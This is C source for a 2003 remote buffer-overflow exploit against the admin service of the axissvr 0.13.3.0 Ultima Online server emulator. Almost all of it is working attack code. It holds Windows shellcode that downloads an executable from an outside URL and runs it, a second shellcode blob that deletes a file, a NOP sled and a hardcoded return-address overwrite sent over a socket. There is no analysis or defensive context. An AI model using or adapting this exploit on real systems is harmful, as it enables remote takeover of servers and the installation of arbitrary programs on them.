Exploit for remote administrative access on the freeware Ultima Online server emulator from sphereserver.com. Tested against axissvr 0.13.3.0.
1e2e497dc7b1abee56419b300adc740941e8fbad2c4768089ac1e0f1a2735a3f
/* axisexp1.c - sloth@nopninjas.com - http://www.nopninjas.com
* exploit for the remote admin access for the free Ultima Online server
* emulator from sphereserver.com.
*
* 3/3/2003
*
* http://sphere-axis.sourceforge.net
* this first version of the exploit is for axissvr 0.13.3.0
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
unsigned char win32_dlandexec[] = {
"\xEB\x75\x5E\x8B\xEC\x56\x46\x80\x3E\xFF\x75\x03\x80\x36\xFF\x81"
"\x3E\x53\x4C\x4F\x46\x75\xEF\x5E\x8B\xE5\xB8\xC5\x01\x42\x01\x2D"
"\x01\x01\x01\x01\x8B\x18\x8B\xCB\x81\xE9\x01\x01\x02\x01\x81\xC1"
"\x01\x01\x01\x01\x66\x33\xC9\x51\x56\x51\xFF\xD3\x83\xC6\x20\x56"
"\xFF\xD0\x83\xEE\x13\x56\x50\xFF\xD3\x33\xD2\x52\x52\x83\xC6\x1E"
"\x56\x83\xC6\x1C\x56\x52\xFF\xD0\x59\x51\x83\xEE\x14\x56\x51\xFF"
"\xD3\x52\x83\xEE\x08\x56\xFF\xD0\x59\x83\xC6\x10\x56\x51\xFF\xD3"
"\x33\xC9\x51\xFF\xD0\xEB\xFE\xE8\x86\xFF\xFF\xFF"
"LoadLibraryA\xff"
"URLDownloadToFileA\xff"
"urlmon.dll\xff"
"dbg.exe\xff"
"WinExec\xff"
"ExitProcess\xff"
"http://nopninjas.com/notepad.exe\xff"
"SLOF"
};
unsigned char win32_delefile[] = {
"\xeb\x10\x33\xc0\xb8\xa9\x01\x42\x01\x2d\x01\x01\x01\x01\x8b"
"\x18\xff\xd3\xe8\xeb\xff\xff\xff"
"c:\\deleteme.txt"
};
struct Targets {
char *name;
long retaddr,
distance;
char *shellcode;
};
struct Targets target[] = {
{ " axissvr 0.13.3.0 win32 XP\n",
0x009febcb, 255, win32_dlandexec },
{ (char *)0, 0, 0, (char *)0 }
};
void fail(char *reason) {
printf("exploit failed: %s\n", reason);
exit(-1);
}
long resolve(char *host) {
struct in_addr ip;
struct hostent *he;
if((ip.s_addr = inet_addr(host)) == -1) {
if(!(he = gethostbyname(host)))
return(-1);
else
memcpy(&ip.s_addr, he->h_addr, 4);
}
return(ip.s_addr);
}
int make_connect(struct in_addr host, int port) {
int s;
struct sockaddr_in sin;
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_port = htons(port);
sin.sin_addr.s_addr = host.s_addr;
if((s = socket(AF_INET, SOCK_STREAM, 0)) <= 0)
fail("could not create socket");
if(connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0)
fail("could not connect\n");
return(s);
}
int main(int argc, char *argv[]) {
int s, elen, slen, a, wait, port;
long retaddr;
char buffer[512], iLength[4], *shellcode, exploit[512];
struct in_addr host;
printf("axis-server exploit by sloth@nopninjas.com\n");
if (argc<4) {
fprintf(stderr, "usage: ./axisexp <target> <host> <port>\n");
for(a=0;target[a].retaddr;a++)
printf(" %d: 0x%08x %d %s", a, target[a].retaddr, target[a].distance,
target[a].name);
exit(-1);
}
for(a=0;a<atoi(argv[1]);a++)
if(!target[a].retaddr)
fail("invalid target");
shellcode = target[a].shellcode;
retaddr = target[a].retaddr;
// retaddr = 0x41414141;
elen = target[a].distance;
port = atoi(argv[3]);
wait = 500;
if((host.s_addr = resolve(argv[2])) == -1)
fail("invalid host");
printf("connecting to [%s:%d]...\n", argv[2], port);
s = make_connect(host, port);
slen = 300;
memset(exploit, 0x90, slen);
memcpy(&exploit[slen - strlen(shellcode)], shellcode, strlen(shellcode));
exploit[slen] = 0;
printf("placing [%d] bytes of shellcode padded with [%d] nops. total length:"
" [%d]\n", strlen(shellcode), slen - strlen(shellcode), slen);
*(long *)&iLength[0] = slen;
send(s, iLength, 4, 0);
usleep(wait);
send(s, exploit, slen, 0);
usleep(wait);
printf("sending return address [0x%08x]\n", retaddr);
*(long *)&iLength[0] = elen;
memset(buffer, 0x42, elen);
*(long *)&buffer[elen - 4] = retaddr;
buffer[elen] = 0;
send(s, iLength, 4, 0);
usleep(wait);
send(s, buffer, elen, 0);
usleep(wait);
printf("exploit sent... go verify that it worked\n");
sleep(1);
close(s);
}